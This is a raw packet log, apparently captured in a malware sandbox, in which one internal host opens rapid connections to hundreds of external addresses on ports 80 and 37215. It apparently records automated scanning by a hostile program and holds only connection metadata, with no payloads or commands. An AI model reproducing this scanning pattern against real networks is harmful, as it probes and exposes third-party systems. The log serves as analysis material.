Jan 5, 2025 14:34:55.094021082 CET	29477	80	192.168.2.13	115.213.237.58
Jan 5, 2025 14:34:55.094022036 CET	29479	37215	192.168.2.13	41.103.89.55
Jan 5, 2025 14:34:55.094017029 CET	29477	80	192.168.2.13	52.51.104.66
Jan 5, 2025 14:34:55.094021082 CET	29477	80	192.168.2.13	72.171.245.254
Jan 5, 2025 14:34:55.094021082 CET	29477	80	192.168.2.13	8.196.97.188
Jan 5, 2025 14:34:55.094021082 CET	29479	37215	192.168.2.13	197.74.101.14
Jan 5, 2025 14:34:55.094022036 CET	29479	37215	192.168.2.13	41.175.189.173
Jan 5, 2025 14:34:55.094017982 CET	29477	80	192.168.2.13	152.163.33.36
Jan 5, 2025 14:34:55.094021082 CET	29479	37215	192.168.2.13	156.234.31.227
Jan 5, 2025 14:34:55.094022036 CET	29479	37215	192.168.2.13	156.12.39.123
Jan 5, 2025 14:34:55.094021082 CET	29479	37215	192.168.2.13	197.135.214.60
Jan 5, 2025 14:34:55.094022036 CET	29479	37215	192.168.2.13	41.140.241.221
Jan 5, 2025 14:34:55.094021082 CET	29479	37215	192.168.2.13	197.209.149.193
Jan 5, 2025 14:34:55.094022036 CET	29477	80	192.168.2.13	24.162.203.238
Jan 5, 2025 14:34:55.094022036 CET	29477	80	192.168.2.13	91.143.188.2
Jan 5, 2025 14:34:55.094022036 CET	29479	37215	192.168.2.13	156.116.248.36
Jan 5, 2025 14:34:55.094042063 CET	29479	37215	192.168.2.13	41.227.131.207
Jan 5, 2025 14:34:55.094042063 CET	29477	80	192.168.2.13	182.93.86.254
Jan 5, 2025 14:34:55.094042063 CET	29477	80	192.168.2.13	75.91.28.40
Jan 5, 2025 14:34:55.094043016 CET	29479	37215	192.168.2.13	197.174.171.200
Jan 5, 2025 14:34:55.094044924 CET	29479	37215	192.168.2.13	156.234.196.111
Jan 5, 2025 14:34:55.094049931 CET	29477	80	192.168.2.13	92.198.166.232
Jan 5, 2025 14:34:55.094049931 CET	29477	80	192.168.2.13	47.167.139.56
Jan 5, 2025 14:34:55.094049931 CET	29479	37215	192.168.2.13	156.205.38.138
Jan 5, 2025 14:34:55.094049931 CET	29479	37215	192.168.2.13	156.39.4.111
Jan 5, 2025 14:34:55.094049931 CET	29479	37215	192.168.2.13	156.220.39.254
Jan 5, 2025 14:34:55.094049931 CET	29479	37215	192.168.2.13	156.55.83.100
Jan 5, 2025 14:34:55.094049931 CET	29477	80	192.168.2.13	176.131.167.49
Jan 5, 2025 14:34:55.094049931 CET	29477	80	192.168.2.13	76.191.221.218
Jan 5, 2025 14:34:55.094049931 CET	29477	80	192.168.2.13	182.147.86.187
Jan 5, 2025 14:34:55.094049931 CET	29479	37215	192.168.2.13	41.31.154.221
Jan 5, 2025 14:34:55.094049931 CET	29477	80	192.168.2.13	96.238.223.153
Jan 5, 2025 14:34:55.094049931 CET	29479	37215	192.168.2.13	41.131.22.78
Jan 5, 2025 14:34:55.094063997 CET	29477	80	192.168.2.13	163.191.233.177
Jan 5, 2025 14:34:55.094072104 CET	29477	80	192.168.2.13	49.135.39.5
Jan 5, 2025 14:34:55.094072104 CET	29477	80	192.168.2.13	115.190.230.74
Jan 5, 2025 14:34:55.094072104 CET	29479	37215	192.168.2.13	41.96.213.17
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	17.168.232.105
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	89.72.19.167
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	94.14.186.177
Jan 5, 2025 14:34:55.094074011 CET	29477	80	192.168.2.13	107.66.162.100
Jan 5, 2025 14:34:55.094074011 CET	29479	37215	192.168.2.13	156.59.221.68
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	192.225.222.226
Jan 5, 2025 14:34:55.094074011 CET	29477	80	192.168.2.13	202.21.172.146
Jan 5, 2025 14:34:55.094074011 CET	29479	37215	192.168.2.13	197.95.123.52
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	172.119.119.191
Jan 5, 2025 14:34:55.094073057 CET	29479	37215	192.168.2.13	41.10.191.23
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	125.60.201.3
Jan 5, 2025 14:34:55.094073057 CET	29477	80	192.168.2.13	13.128.223.179
Jan 5, 2025 14:34:55.094074011 CET	29479	37215	192.168.2.13	197.185.118.2
Jan 5, 2025 14:34:55.094074011 CET	29477	80	192.168.2.13	203.237.179.7
Jan 5, 2025 14:34:55.094074011 CET	29479	37215	192.168.2.13	197.126.222.215
Jan 5, 2025 14:34:55.094074011 CET	29477	80	192.168.2.13	200.39.148.193
Jan 5, 2025 14:34:55.094074011 CET	29479	37215	192.168.2.13	197.16.121.144
Jan 5, 2025 14:34:55.094090939 CET	29479	37215	192.168.2.13	156.227.106.18
Jan 5, 2025 14:34:55.094090939 CET	29479	37215	192.168.2.13	41.114.42.224
Jan 5, 2025 14:34:55.094090939 CET	29477	80	192.168.2.13	71.238.162.179
Jan 5, 2025 14:34:55.094090939 CET	29479	37215	192.168.2.13	41.180.195.104
Jan 5, 2025 14:34:55.094120026 CET	29479	37215	192.168.2.13	197.231.238.84
Jan 5, 2025 14:34:55.094120026 CET	29477	80	192.168.2.13	105.112.162.128
Jan 5, 2025 14:34:55.094120026 CET	29477	80	192.168.2.13	132.124.221.59
Jan 5, 2025 14:34:55.094120026 CET	29479	37215	192.168.2.13	156.204.196.57
Jan 5, 2025 14:34:55.094120026 CET	29477	80	192.168.2.13	153.170.85.71
Jan 5, 2025 14:34:55.094120026 CET	29477	80	192.168.2.13	221.18.141.206
Jan 5, 2025 14:34:55.094120026 CET	29479	37215	192.168.2.13	41.87.77.123
Jan 5, 2025 14:34:55.094120026 CET	29477	80	192.168.2.13	200.68.15.10
Jan 5, 2025 14:34:55.094121933 CET	29477	80	192.168.2.13	159.33.125.176
Jan 5, 2025 14:34:55.094121933 CET	29477	80	192.168.2.13	200.35.81.53
Jan 5, 2025 14:34:55.094121933 CET	29479	37215	192.168.2.13	41.241.176.140
Jan 5, 2025 14:34:55.094122887 CET	29477	80	192.168.2.13	151.221.147.176
Jan 5, 2025 14:34:55.094121933 CET	29477	80	192.168.2.13	184.133.223.15
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	156.85.86.30
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	156.56.19.217
Jan 5, 2025 14:34:55.094122887 CET	29477	80	192.168.2.13	54.86.228.56
Jan 5, 2025 14:34:55.094121933 CET	29477	80	192.168.2.13	64.154.22.68
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	156.75.132.205
Jan 5, 2025 14:34:55.094122887 CET	29477	80	192.168.2.13	132.13.240.111
Jan 5, 2025 14:34:55.094124079 CET	29479	37215	192.168.2.13	41.74.146.44
Jan 5, 2025 14:34:55.094122887 CET	29477	80	192.168.2.13	200.235.99.9
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	166.214.237.110
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	41.50.133.46
Jan 5, 2025 14:34:55.094124079 CET	29479	37215	192.168.2.13	197.20.192.120
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	191.107.223.79
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	105.160.30.144
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	156.109.252.175
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	184.73.16.34
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	197.32.110.203
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	146.56.208.146
Jan 5, 2025 14:34:55.094124079 CET	29477	80	192.168.2.13	93.230.142.40
Jan 5, 2025 14:34:55.094124079 CET	29479	37215	192.168.2.13	156.224.179.125
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	156.192.9.57
Jan 5, 2025 14:34:55.094124079 CET	29479	37215	192.168.2.13	41.192.120.138
Jan 5, 2025 14:34:55.094129086 CET	29479	37215	192.168.2.13	197.181.182.198
Jan 5, 2025 14:34:55.094124079 CET	29479	37215	192.168.2.13	197.254.60.187
Jan 5, 2025 14:34:55.094122887 CET	29477	80	192.168.2.13	211.204.248.155
Jan 5, 2025 14:34:55.094129086 CET	29479	37215	192.168.2.13	156.10.231.27
Jan 5, 2025 14:34:55.094122887 CET	29479	37215	192.168.2.13	156.48.226.130
Jan 5, 2025 14:34:55.094124079 CET	29479	37215	192.168.2.13	41.114.129.184
Jan 5, 2025 14:34:55.094130039 CET	29479	37215	192.168.2.13	156.213.29.5
Jan 5, 2025 14:34:55.094129086 CET	29479	37215	192.168.2.13	41.14.159.65
Jan 5, 2025 14:34:55.094130039 CET	29477	80	192.168.2.13	5.219.179.3
Jan 5, 2025 14:34:55.094129086 CET	29477	80	192.168.2.13	23.22.132.142
Jan 5, 2025 14:34:55.094129086 CET	29479	37215	192.168.2.13	41.107.170.191
Jan 5, 2025 14:34:55.094129086 CET	29479	37215	192.168.2.13	156.24.217.111
Jan 5, 2025 14:34:55.094129086 CET	29477	80	192.168.2.13	172.222.70.149
Jan 5, 2025 14:34:55.094152927 CET	29479	37215	192.168.2.13	41.209.159.96
Jan 5, 2025 14:34:55.094152927 CET	29479	37215	192.168.2.13	197.116.203.182
Jan 5, 2025 14:34:55.094152927 CET	29479	37215	192.168.2.13	197.236.37.188
Jan 5, 2025 14:34:55.094153881 CET	29477	80	192.168.2.13	122.160.56.76
Jan 5, 2025 14:34:55.094153881 CET	29479	37215	192.168.2.13	156.159.234.85
Jan 5, 2025 14:34:55.094155073 CET	29477	80	192.168.2.13	69.196.165.47
Jan 5, 2025 14:34:55.094156027 CET	29479	37215	192.168.2.13	197.157.243.254
Jan 5, 2025 14:34:55.094156027 CET	29479	37215	192.168.2.13	156.169.33.198
Jan 5, 2025 14:34:55.094156027 CET	29477	80	192.168.2.13	76.43.2.165
Jan 5, 2025 14:34:55.094157934 CET	29477	80	192.168.2.13	162.240.210.123
Jan 5, 2025 14:34:55.094157934 CET	29477	80	192.168.2.13	46.101.31.140
Jan 5, 2025 14:34:55.094157934 CET	29479	37215	192.168.2.13	197.138.160.122
Jan 5, 2025 14:34:55.094157934 CET	29477	80	192.168.2.13	49.232.53.64
Jan 5, 2025 14:34:55.094158888 CET	29477	80	192.168.2.13	88.130.189.13
Jan 5, 2025 14:34:55.094157934 CET	29477	80	192.168.2.13	92.90.65.14
Jan 5, 2025 14:34:55.094157934 CET	29477	80	192.168.2.13	4.252.102.130
Jan 5, 2025 14:34:55.094158888 CET	29479	37215	192.168.2.13	156.115.251.30
Jan 5, 2025 14:34:55.094157934 CET	29479	37215	192.168.2.13	197.128.72.57
Jan 5, 2025 14:34:55.094158888 CET	29479	37215	192.168.2.13	197.210.168.218
Jan 5, 2025 14:34:55.094158888 CET	29479	37215	192.168.2.13	197.228.87.75
Jan 5, 2025 14:34:55.094158888 CET	29477	80	192.168.2.13	17.44.73.41
Jan 5, 2025 14:34:55.094158888 CET	29479	37215	192.168.2.13	41.12.217.151
Jan 5, 2025 14:34:55.094158888 CET	29477	80	192.168.2.13	162.71.69.26
Jan 5, 2025 14:34:55.094158888 CET	29477	80	192.168.2.13	219.182.64.187
Jan 5, 2025 14:34:55.094163895 CET	29477	80	192.168.2.13	199.224.237.60
Jan 5, 2025 14:34:55.094163895 CET	29477	80	192.168.2.13	217.13.255.180
Jan 5, 2025 14:34:55.094163895 CET	29477	80	192.168.2.13	53.165.228.137
Jan 5, 2025 14:34:55.094163895 CET	29479	37215	192.168.2.13	41.245.227.114
Jan 5, 2025 14:34:55.094163895 CET	29477	80	192.168.2.13	164.140.143.45
Jan 5, 2025 14:34:55.094166994 CET	29479	37215	192.168.2.13	41.44.29.246
Jan 5, 2025 14:34:55.094166994 CET	29479	37215	192.168.2.13	156.162.220.252
Jan 5, 2025 14:34:55.094166994 CET	29477	80	192.168.2.13	163.130.130.140
Jan 5, 2025 14:34:55.094166994 CET	29479	37215	192.168.2.13	156.82.217.43
Jan 5, 2025 14:34:55.094166994 CET	29479	37215	192.168.2.13	197.50.171.96
Jan 5, 2025 14:34:55.094177961 CET	29477	80	192.168.2.13	166.50.182.148
Jan 5, 2025 14:34:55.094177961 CET	29477	80	192.168.2.13	87.33.220.88
Jan 5, 2025 14:34:55.094177961 CET	29479	37215	192.168.2.13	197.251.198.46
Jan 5, 2025 14:34:55.094177961 CET	29477	80	192.168.2.13	174.19.117.143
Jan 5, 2025 14:34:55.094177961 CET	29479	37215	192.168.2.13	156.10.180.158
Jan 5, 2025 14:34:55.094177961 CET	29477	80	192.168.2.13	137.37.201.215
Jan 5, 2025 14:34:55.094177961 CET	29479	37215	192.168.2.13	41.129.217.225
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	197.199.195.232
Jan 5, 2025 14:34:55.094192028 CET	29477	80	192.168.2.13	1.166.222.195
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	156.203.7.152
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	156.191.60.149
Jan 5, 2025 14:34:55.094193935 CET	29477	80	192.168.2.13	174.131.192.55
Jan 5, 2025 14:34:55.094194889 CET	29477	80	192.168.2.13	170.206.108.30
Jan 5, 2025 14:34:55.094192028 CET	29477	80	192.168.2.13	153.34.228.152
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	41.9.190.140
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	197.150.212.1
Jan 5, 2025 14:34:55.094194889 CET	36312	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	156.227.148.35
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	197.249.14.223
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	197.171.191.198
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	197.200.205.222
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	41.75.159.225
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	156.193.208.42
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	156.49.69.27
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	41.221.106.87
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	197.75.255.21
Jan 5, 2025 14:34:55.094208956 CET	29479	37215	192.168.2.13	156.188.84.92
Jan 5, 2025 14:34:55.094192028 CET	29479	37215	192.168.2.13	41.60.1.82
Jan 5, 2025 14:34:55.094214916 CET	29479	37215	192.168.2.13	41.140.222.22
Jan 5, 2025 14:34:55.094214916 CET	29479	37215	192.168.2.13	197.102.168.51
Jan 5, 2025 14:34:55.094208956 CET	29479	37215	192.168.2.13	41.238.25.183
Jan 5, 2025 14:34:55.094212055 CET	29479	37215	192.168.2.13	41.229.228.198
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	41.171.210.214
Jan 5, 2025 14:34:55.094194889 CET	29477	80	192.168.2.13	97.77.14.81
Jan 5, 2025 14:34:55.094194889 CET	29477	80	192.168.2.13	176.156.129.84
Jan 5, 2025 14:34:55.094194889 CET	29479	37215	192.168.2.13	41.134.139.5
Jan 5, 2025 14:34:55.094211102 CET	29479	37215	192.168.2.13	156.61.164.28
Jan 5, 2025 14:34:55.094214916 CET	29479	37215	192.168.2.13	41.166.107.19
Jan 5, 2025 14:34:55.094196081 CET	29479	37215	192.168.2.13	156.41.30.222
Jan 5, 2025 14:34:55.094214916 CET	29479	37215	192.168.2.13	41.7.0.6
Jan 5, 2025 14:34:55.094214916 CET	29479	37215	192.168.2.13	197.61.252.191
Jan 5, 2025 14:34:55.094222069 CET	29479	37215	192.168.2.13	41.25.74.98
Jan 5, 2025 14:34:55.094196081 CET	29479	37215	192.168.2.13	156.82.163.2
Jan 5, 2025 14:34:55.094214916 CET	29479	37215	192.168.2.13	156.64.61.74
Jan 5, 2025 14:34:55.094222069 CET	36312	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:55.094227076 CET	29479	37215	192.168.2.13	156.38.134.203
Jan 5, 2025 14:34:55.094222069 CET	29479	37215	192.168.2.13	197.23.37.44
Jan 5, 2025 14:34:55.094196081 CET	29479	37215	192.168.2.13	156.67.90.250
Jan 5, 2025 14:34:55.094227076 CET	29479	37215	192.168.2.13	197.1.131.183
Jan 5, 2025 14:34:55.094228029 CET	29479	37215	192.168.2.13	41.96.142.137
Jan 5, 2025 14:34:55.094227076 CET	29479	37215	192.168.2.13	41.98.27.16
Jan 5, 2025 14:34:55.094227076 CET	29479	37215	192.168.2.13	197.119.63.85
Jan 5, 2025 14:34:55.094227076 CET	29479	37215	192.168.2.13	197.22.235.13
Jan 5, 2025 14:34:55.094227076 CET	29479	37215	192.168.2.13	156.6.49.181
Jan 5, 2025 14:34:55.094233036 CET	29479	37215	192.168.2.13	197.195.120.141
Jan 5, 2025 14:34:55.094238043 CET	29479	37215	192.168.2.13	41.1.156.143
Jan 5, 2025 14:34:55.094238043 CET	29479	37215	192.168.2.13	156.18.45.226
Jan 5, 2025 14:34:55.094245911 CET	29479	37215	192.168.2.13	197.3.62.145
Jan 5, 2025 14:34:55.094778061 CET	36326	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:55.095227957 CET	39838	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.095227957 CET	39838	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.095622063 CET	39852	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.096091032 CET	42210	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:55.096098900 CET	37630	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:55.096107960 CET	50074	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:55.096184015 CET	44432	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:55.096184015 CET	44432	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:55.096540928 CET	44452	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:55.098440886 CET	80	39804	72.145.72.193	192.168.2.13
Jan 5, 2025 14:34:55.098486900 CET	39804	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:55.098814964 CET	37215	44232	41.252.167.172	192.168.2.13
Jan 5, 2025 14:34:55.098853111 CET	44232	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:55.099029064 CET	80	36312	203.249.13.96	192.168.2.13
Jan 5, 2025 14:34:55.099076986 CET	37215	45156	156.29.43.93	192.168.2.13
Jan 5, 2025 14:34:55.099122047 CET	45156	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:55.099992990 CET	80	39838	95.67.170.147	192.168.2.13
Jan 5, 2025 14:34:55.100354910 CET	80	39852	95.67.170.147	192.168.2.13
Jan 5, 2025 14:34:55.100400925 CET	39852	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.100433111 CET	39852	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.100938082 CET	80	42210	120.75.215.22	192.168.2.13
Jan 5, 2025 14:34:55.100948095 CET	80	44432	92.178.11.42	192.168.2.13
Jan 5, 2025 14:34:55.100960016 CET	80	37630	143.189.106.192	192.168.2.13
Jan 5, 2025 14:34:55.100972891 CET	42210	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:55.100987911 CET	37630	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:55.101042986 CET	80	50074	95.145.163.29	192.168.2.13
Jan 5, 2025 14:34:55.101083040 CET	50074	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:55.105379105 CET	80	39852	95.67.170.147	192.168.2.13
Jan 5, 2025 14:34:55.105503082 CET	39852	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.143501043 CET	80	36312	203.249.13.96	192.168.2.13
Jan 5, 2025 14:34:55.143510103 CET	80	44432	92.178.11.42	192.168.2.13
Jan 5, 2025 14:34:55.143517971 CET	80	39838	95.67.170.147	192.168.2.13
Jan 5, 2025 14:34:55.747980118 CET	59666	52296	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:55.748132944 CET	52296	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:55.753061056 CET	59666	52296	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:55.792145967 CET	43716	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.792154074 CET	54802	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.792155027 CET	48844	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.792156935 CET	46554	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.792156935 CET	37248	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.792167902 CET	44840	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.792170048 CET	40180	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.792174101 CET	54474	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.792174101 CET	48754	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.792180061 CET	48512	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.792180061 CET	43950	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.792180061 CET	58694	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.792181015 CET	50166	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.792181015 CET	41496	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.792187929 CET	57958	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.792192936 CET	36182	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.792192936 CET	51862	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.792192936 CET	53588	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.792206049 CET	35698	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.792206049 CET	43414	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.792206049 CET	49258	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.797269106 CET	80	48844	78.20.11.62	192.168.2.13
Jan 5, 2025 14:34:55.797281027 CET	37215	43716	41.19.166.133	192.168.2.13
Jan 5, 2025 14:34:55.797291994 CET	80	54802	99.164.207.221	192.168.2.13
Jan 5, 2025 14:34:55.797307968 CET	80	46554	63.43.10.28	192.168.2.13
Jan 5, 2025 14:34:55.797318935 CET	37215	44840	156.255.139.215	192.168.2.13
Jan 5, 2025 14:34:55.797337055 CET	80	37248	158.69.164.161	192.168.2.13
Jan 5, 2025 14:34:55.797338963 CET	43716	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.797347069 CET	48844	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.797347069 CET	46554	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.797348976 CET	54802	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.797349930 CET	37215	40180	41.8.30.91	192.168.2.13
Jan 5, 2025 14:34:55.797360897 CET	80	50166	92.185.151.122	192.168.2.13
Jan 5, 2025 14:34:55.797362089 CET	44840	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.797365904 CET	80	48512	125.109.219.8	192.168.2.13
Jan 5, 2025 14:34:55.797373056 CET	37248	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.797377110 CET	80	41496	19.126.39.244	192.168.2.13
Jan 5, 2025 14:34:55.797388077 CET	37215	43950	197.60.138.82	192.168.2.13
Jan 5, 2025 14:34:55.797393084 CET	50166	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.797395945 CET	48512	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.797395945 CET	40180	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.797396898 CET	37215	57958	41.172.224.67	192.168.2.13
Jan 5, 2025 14:34:55.797409058 CET	43950	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.797411919 CET	37215	58694	156.88.155.128	192.168.2.13
Jan 5, 2025 14:34:55.797414064 CET	41496	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.797421932 CET	80	54474	38.94.34.240	192.168.2.13
Jan 5, 2025 14:34:55.797427893 CET	57958	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.797431946 CET	37215	48754	41.254.75.15	192.168.2.13
Jan 5, 2025 14:34:55.797440052 CET	58694	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.797441006 CET	80	36182	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:55.797451973 CET	37215	49258	156.126.78.211	192.168.2.13
Jan 5, 2025 14:34:55.797457933 CET	54474	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.797457933 CET	48754	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.797461987 CET	37215	51862	197.203.83.162	192.168.2.13
Jan 5, 2025 14:34:55.797471046 CET	37215	35698	197.96.31.0	192.168.2.13
Jan 5, 2025 14:34:55.797471046 CET	36182	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.797481060 CET	37215	53588	197.158.150.50	192.168.2.13
Jan 5, 2025 14:34:55.797489882 CET	49258	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.797493935 CET	37215	43414	156.29.56.92	192.168.2.13
Jan 5, 2025 14:34:55.797496080 CET	51862	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.797503948 CET	35698	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.797519922 CET	53588	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.797524929 CET	43414	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.797593117 CET	46554	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.797604084 CET	46554	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.797667980 CET	43716	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.797679901 CET	43716	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.798058987 CET	47376	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.798243046 CET	44542	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.798707962 CET	54802	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.798707962 CET	54802	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.799153090 CET	44840	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.799153090 CET	44840	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.799222946 CET	55626	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.799688101 CET	45656	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.799876928 CET	48844	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.799876928 CET	48844	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.800513983 CET	49668	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.800518036 CET	43950	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.800518036 CET	43950	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.800956011 CET	37248	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.800956011 CET	37248	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.801147938 CET	44778	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.801610947 CET	38068	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.801969051 CET	40180	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.801979065 CET	40180	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.802150011 CET	50166	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.802150011 CET	50166	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.802598000 CET	50984	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.802668095 CET	80	46554	63.43.10.28	192.168.2.13
Jan 5, 2025 14:34:55.802678108 CET	37215	43716	41.19.166.133	192.168.2.13
Jan 5, 2025 14:34:55.802690983 CET	41010	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.802815914 CET	80	47376	63.43.10.28	192.168.2.13
Jan 5, 2025 14:34:55.802855015 CET	47376	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.803023100 CET	37215	44542	41.19.166.133	192.168.2.13
Jan 5, 2025 14:34:55.803062916 CET	44542	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.803227901 CET	47376	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.803239107 CET	48512	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.803239107 CET	48512	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.803461075 CET	80	54802	99.164.207.221	192.168.2.13
Jan 5, 2025 14:34:55.803599119 CET	58694	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.803610086 CET	58694	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.803692102 CET	49342	80	192.168.2.13	125.109.219.8
